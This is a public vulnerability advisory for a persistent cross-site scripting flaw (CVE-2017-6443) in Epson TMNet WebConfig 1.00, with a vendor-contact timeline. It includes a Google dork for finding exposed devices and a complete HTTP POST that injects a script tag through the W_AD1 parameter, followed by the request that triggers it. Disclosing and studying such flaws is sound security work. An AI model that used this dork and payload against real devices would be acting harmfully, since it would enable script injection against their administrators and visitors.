EPSON TMNet WebConfig 1.00 - Cross-Site Scripting

# Exploit Title: Persistent XSS in EPSON TMNet WebConfig Ver. 1.00
# Google Dork: intitle:"EPSON TMNet WebConfig Ver.1.00"
# Date: 3/3/2017
# Exploit Author: Michael Benich
# Vendor Homepage: https://www.epson-biz.com/
# Software Link: https://c4b.epson-biz.com/modules/community/index.php?content_id=50
# Version: 1.00
# CVE: CVE-2017-6443
# Contact: [email protected] // @benichmt1
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Summary:
Persistent cross-site scripting (XSS) in the web interface of Epson's TMNet WebConfig Ver 1.00 application allows a remote attacker to introduce arbitary Javascript via manipulation of an unsanitized POST parameter.

Steps to reproduce:

1)Make a POST request using Burp Proxy or other application 

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POST /Forms/oadmin_1 HTTP/1.1
Host: XXX.XXX.XXX.XXX
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://XXX.XXX.XXX.XXX/oadmin.htm
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 47

W_AD1=<script>window.alert(0)</script>&W_Link1=&Submit=SUBMIT

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2) Browsing to the main page will execute your script. This remains persistent for any user who then visits this page.

GET /istatus.htm HTTP/1.1
Host: XXX.XXX.XXX.XXX
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://XXX.XXX.XXX.XXX/side.htm
Connection: close
Upgrade-Insecure-Requests: 1

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Timeline:

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12/1/2016 - Discovery.
12/9/2016 - Emailed support@ , info@ , and domain-admin@ emails. No response.
12/16/2016 - Pinged on Twitter. Recommended to contact through support.
12/22/2016 - Reached on LinkedIn directly to individual listed as Security Engineer and asked to find proper security contact channel. No response, but the connection request was accepted.
3/3/2017 - Disclosure
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